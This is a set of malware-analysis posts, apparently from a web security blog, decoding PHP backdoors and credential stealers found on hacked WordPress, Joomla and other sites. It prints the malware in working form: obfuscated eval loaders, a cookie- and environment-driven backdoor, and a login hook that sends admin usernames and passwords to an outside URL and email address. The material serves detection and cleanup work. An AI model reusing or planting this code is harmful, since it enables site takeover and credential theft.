One way of hidding an iframe

There are multiple ways to inject an iframe on a web site, and every day we found a new evasion technique to make it harder to detect it. This is a new one found by Fio:

It uses many encondings to just load this iframe:

Which redirects the user visitng a compromised site to a porn page.

PHP str_replace to hide malware

We found another interesting piece of PHP-based malware on a client site a few days ago:

$exg="JGMnd9J2NvdW50JzskYTnd0kX0ndNPndT0tJRTtpZihyZXNldCgkndYSk9PSdtandCcgJndiYgJGMondJGEpPjM";
$iyo="GxhndY2UndoYXJyYndXkoJy9bndXlndx3PVxzXS8nLndCcvXHMvndJyksIGFyndcmF5KCcnLCcrJyk";
$ts = str_replace("b","","bsbtr_brbepblabcbe");
$fy="sIGpndvaW4oYXJyYXlfc2xpY2UoJndGEndsJGMoJGEpLTndMpKndSkpKTtlYnd2hvICc8LycuJGsnduJz4nO30=";
$sjb="peyRrPSndd1nddGU0bndSc7ZWNobyAnPCcnduJGsundJz4nO2ndV2YWwoYmFzZndTY0X2RlY29kZShwcmVnX3Jlc";
$dzy = $ts("er", "", "erberaersereer6er4er_dereercerodere");
$mc = $ts("y","","ycyryeyaytye_yfyuynctyiyoyn");
$tha = $mc('', $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy))); $tha();

Can you decode and see what it is doing? ..

This piece of code tries to obfuscate all the functions that could be flagged by a scanner using a benign php function called str_replace. This function replaces all instances of a string with a replacement in the subject. So, for example, the next line:

----- $ts = str_replace("b","","bsbtr_brbepblabcbe"); ----- 

Replaces all instances of character \'b\' with nothing. So from bsbtr_brbepblabcbe we get str_replace. Using the same technique, we have some more functions:

----- $dzy = $ts("er", "", "erberaersereer6er4er_dereercerodere"); //base64_decode $mc = $ts("y","","ycyryeyaytye_yfyuynctyiyoyn"); //create_function ----- 

All this for creating a function and running it in this line:

----- $tha = $mc('', $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy))); $tha(); ----- 

Function code is contained in the next expression:

----- $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy)); ----- 

And the final code is:

$c = "count";
$a = $_COOKIE;
if (reset($a) == 'mh' && $c($a) > 3) {
    $k = 'ute4m';
    echo '<' . $k . '>';
    eval (base64_decode (preg_replace(array(
        '/[^\w=\s]/',
        '/\s/'
    ), array(
        '',
        '+'
    ), join(array_slice($a, $c($a) - 3)))));
    echo '</' . $k . '>';
}

What it does? It uses some simple tricks to edit the contents of the cookie, decode it from base64 and eval (execute) that malicious code.

How to eval() without eval() in PHP

According to our daily malware analysis experience, we've noticed that the bad guys are using obfuscation more and more to hide what they are doing. Take for example this piece of code we found injected on a website:

$uhn = “IdsdMR8PY8e1rnrTQVgH_ebFESWoiH6334BT7d9j*z7M6n1uYgUD8evi2K/30_lNfsX0.lw4Sc9V5XcY/emePeeUSjZ4batLBeJbDavItop7ta.gpWrmqGczwpMnelaCs_X”;  $ryhblanf = $uhn[29] .$uhn[15] .$uhn[35] .$uhn[7] .$uhn[129] .$uhn[4] .$uhn[127] .$uhn[88] .$uhn[51] .$uhn[8] .$uhn[50] .$uhn[130] .$uhn[48] .$uhn[87];  $xwxmciatqb = $uhn[49] .$uhn[53] .$uhn[104] .$uhn[124] .$uhn[13] .$uhn[54];  $bziukecaog = $uhn[112] .$uhn[12] .$uhn[85] .$uhn[111] .$uhn[61] .$uhn[114] .$uhn[97] .$uhn[121] .$uhn[125] .$uhn[101] .$uhn[118] .$uhn[83];  $qzwqaaxjed = $uhn[22] .$uhn[126] .$uhn[2] .$uhn[21] .$uhn[44] .$uhn[91] .$uhn[20] .$uhn[1] .$uhn[10] .$uhn[73] .$uhn[105] .$uhn[3] .$uhn[86];  $nuohhxqkdz = $uhn[58] .$uhn[68] .$uhn[40] .$uhn[80] .$uhn[81];  $hawrkpadgq = $uhn[110];  $vpbucerp = $xwxmciatqb($ryhblanf);  $bziukecaog ($nuohhxqkdz , $qzwqaaxjed($vpbucerp) , $hawrkpadgq);

No sign of any "eval()" and no sign of "preg_replace()" with the eval switch like in the majority of malware files.

When I looked at it for the first time, I thought that that’s just some corrupted/incomplete malware which can’t work. But one of the prerequisites for my job is "being curious" - And I am, so I checked it more deeply and... the result was interesting!

First, I decided to beautify the code to see it more clearly…

$uhn        = "IdsdMR8PY8e1rnrTQVgH_ebFESWoiH6334BT7d9j*z7M6n1uYgUD8evi2K/30_lNfsX0.lw4Sc9V5XcY/emePeeUSjZ4batLBeJbDavItop7ta.gpWrmqGczwpMnelaCs_X";
$ryhblanf   = $uhn[29] . $uhn[15] . $uhn[35] . $uhn[7] . $uhn[129] . $uhn[4] . $uhn[127] . $uhn[88] . $uhn[51] . $uhn[8] . $uhn[50] . $uhn[130] . $uhn[48] . $uhn[87];
$xwxmciatqb = $uhn[49] . $uhn[53] . $uhn[104] . $uhn[124] . $uhn[13] . $uhn[54];
$bziukecaog = $uhn[112] . $uhn[12] . $uhn[85] . $uhn[111] . $uhn[61] . $uhn[114] . $uhn[97] . $uhn[121] . $uhn[125] . $uhn[101] . $uhn[118] . $uhn[83];
$qzwqaaxjed = $uhn[22] . $uhn[126] . $uhn[2] . $uhn[21] . $uhn[44] . $uhn[91] . $uhn[20] . $uhn[1] . $uhn[10] . $uhn[73] . $uhn[105] . $uhn[3] . $uhn[86];
$nuohhxqkdz = $uhn[58] . $uhn[68] . $uhn[40] . $uhn[80] . $uhn[81];
$hawrkpadgq = $uhn[110];
$vpbucerp   = $xwxmciatqb($ryhblanf);
$bziukecaog($nuohhxqkdz, $qzwqaaxjed($vpbucerp), $hawrkpadgq);

//echo $ryhblanf . "\r\n"; HTTP_MCSDYUXYU
//echo $xwxmciatqb . "\r\n"; getenv
//echo $bziukecaog . "\r\n"; preg_replace
//echo $qzwqaaxjed . "\r\n"; base64_decode
//echo $nuohhxqkdz . "\r\n"; /.*/e
// echo $hawrkpadgq . "\r\n"; .

Those commented lines at the bottom are my own – they helped me to understand what’s under each variable and how it works.. As you can see, it has a getenv, preg_replace, base64_decode and when you put it all together, you get the readable code:

$vpbucerp   = getenv("HTTP_MCSDYUXYU");
preg_replace("/.*/e", base64_decode($vpbucerp), ".");

And that’s it – yes, there actually ARE eval() and even base64_decode() functions, but hidden behind variables. Otherwise, it's really just malicious backdoor component which reads some custom environment variable where the actual payload should be stored. Curious about other ways of running the code in PHP without using eval() at all?

There are.

Most common is preg_replace with that “/e” switch (directly evaluates the expression after replacing), one of less common, but very interesting is the PHP assert() function. As mentioned in the PHP official documentation: If the assertion is given as a string it will be evaluated as PHP code by assert(). And there are others surprises in PHP.

WordPress password stealer

Following Fio's recent post on the Joomla password stealer, here's another beautiful example of password stealer. This time from WordPress environment.

It's easy to understand, but what's interesting - it looks like legitimate code so you can easily overlook it. It stores its data in "png" files within ./wp-includes/images/ path and sends them to a non-obfuscated email address.

This is the bad part that was injected on the file user.php on wp-admin:

// Start Login Protection
    $ip = $_SERVER["REMOTE_ADDR"];
    $stringData = $_SERVER["SERVER_NAME"] . "|" . $username . ":" . $password . "|" . $ip . "\n";
    $today = date("j");
    $myErrorFile = getcwd() . "/wp-includes/images/icon-download.png";
    $mySuccessFile = getcwd() . "/wp-includes/images/icon-up-flag.png";
    $failedLogContent = @file_get_contents($myErrorFile);
    $successLogContent = @file_get_contents($mySuccessFile);
    $errorFileLines = explode("\n", $failedLogContent);
    $diff = $today - $errorFileLines[0];
    if ( ($diff >= 7) || ($diff < 0) ) { @unlink($myErrorFile); $failedLogContent = ""; }
        if (preg_match("/{$ip}/i", $successLogContent)) $userOk = 1;
        preg_match_all("/{$ip}/i", $failedLogContent, $matches);
        if  ( (count($matches[0]) > 5) && (!$userOk) ) $password = "G4o7Ivc29OVOxcp5";
    if ( wp_check_password($password, $userdata->user_pass, $userdata->ID) ) {
    @file_get_contents("http://www.carriagebandb.com/cgi-bin/optimus.pl?prime=$stringData");
    @mail("anto@netherlandbarmuda.com", $_SERVER["SERVER_NAME"], $stringData);
    if (!$userOk) {
    $fh = fopen($mySuccessFile, "a");
    fwrite($fh, "$ip\n");
    fclose($fh);
    }
    } else {
    if (!(is_file($myErrorFile))) {
    $fh = fopen($myErrorFile, "w");
    fwrite($fh, "$today\n");
    fclose($fh);
    }
    $fh = fopen($myErrorFile, "a");
    fwrite($fh, $stringData);
    fclose($fh);
    }
// END Login Protection</pre>

Anyway, keep your eyes open, guys 🙂

Joomla password stealer

As we know, one of the main payloads of a successful attack is to maintain access to the compromised server for as long as possible. Today we found this simple but effective password stealer for Joomla.

$fh = fopen("components/com_login/models/login.txt", 'a');
date_default_timezone_set("America/Chicago");
fwrite($fh,date('m/d/Y H:i:s', time())." $_SERVER[REMOTE_ADDR] [$credentials[username]:$credentials[password]]\n");
fclose($fh);

It was injected in /administrator/components/com_login/models/login.php, and the code just captures the $credentials array, username and password to be more specific, and writes to a login.txt file, which was accessible through the internet.

To make things even easier for the attacker, it writes the date and time of the capture on Chicago Timezone (so is the attacker in Chicago?).

PHP://input Backdoor

Just came across this backdoor (decoded):

@error_reporting(0); 
@ini_set("display_errors",0); 
@ini_set("log_errors",0); 
@ini_set("error_log",0); 

if (isset($_GET['r'])) { 
    print $_GET['r']; 
} 
elseif (isset($_POST['e'])) { 
    eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST['e'])))))); 
} 
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
    $data = file_get_contents("php://input"); 
    if (strlen($data) > 0) 
        print 'STATUS-IMPORT-OK'; 
    if (strlen($data) > 12) { 
        $fp=@fopen('tmpfile','a'); 
        @flock($fp, LOCK_EX); 
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 
        @flock($fp, LOCK_UN); @fclose($fp); 
    } 
} 
exit;

It looks like a normal backdoor, but the interesting part and the one I didn\'t understand completely was this one:

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
    $data = file_get_contents("php://input"); 

What is it doing?

Why is it reading from php://input? From the PHP manual it explains:

php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".

That explains.

PHP.net blacklisted by Google

We woke up this morning to many reports and people asking why the PHP.net site is being blacklisted.We did not get a chance to analyze it while it was compromised, but it seems that one of their javascript files (static.php.net/www.php.net/userprefs.js) was modified to inject a malicious iframefrom http://lnkhere.reviewhdtv.co.uk/stat.htm.

That's the supposed bad code: http://pastebin.com/raw.php?i=nAess4xL

It seems the PHP team fixed it already and requested Google to clear it. If anyone has more info, we would love to hear it.